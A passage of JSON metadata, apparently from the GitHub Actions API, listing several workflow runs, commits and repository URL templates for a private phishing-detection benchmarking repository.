","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287407619,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDA3NjE5","head_branch":"API_Flatten","head_sha":"e7124968b4564bab0c415789f3983726118a4efe","run_number":1065,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285422674,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDIyNjc0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287407619","pull_requests":[],"created_at":"2020-10-04T04:22:22Z","updated_at":"2020-10-04T04:48:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285422674","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e7124968b4564bab0c415789f3983726118a4efe","tree_id":"74216af5760af4896544c6910344b2e846d2acec","message":"Cleanup code","timestamp":"2020-10-04T04:22:07Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287403761,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDAzNzYx","head_branch":"API_Flatten","head_sha":"20d94f3b7c16aa26d693831b2e31aaa89c94773c","run_number":1064,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285416233,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDE2MjMz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287403761","pull_requests":[],"created_at":"2020-10-04T04:18:33Z","updated_at":"2020-10-04T04:35:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285416233","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"20d94f3b7c16aa26d693831b2e31aaa89c94773c","tree_id":"34d39edf916e3ccb9c186e63d1b63f0ef77f83a4","message":"Unified extract_test_features","timestamp":"2020-10-04T04:18:28Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287383785,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzgzNzg1","head_branch":"API_Flatten","head_sha":"f2ade066c538c946b40ba72d26fea37c91f0f714","run_number":1063,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285381187,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzgxMTg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287383785","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287383785","pull_requests":[],"created_at":"2020-10-04T03:56:19Z","updated_at":"2020-10-04T04:08:49Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287383785/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287383785/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285381187","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287383785/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287383785/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287383785/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"f2ade066c538c946b40ba72d26fea37c91f0f714","tree_id":"c942ef640bae773a219ab778b9c90eff8d590c5f","message":"Unified extract_train_features","timestamp":"2020-10-04T03:56:09Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phis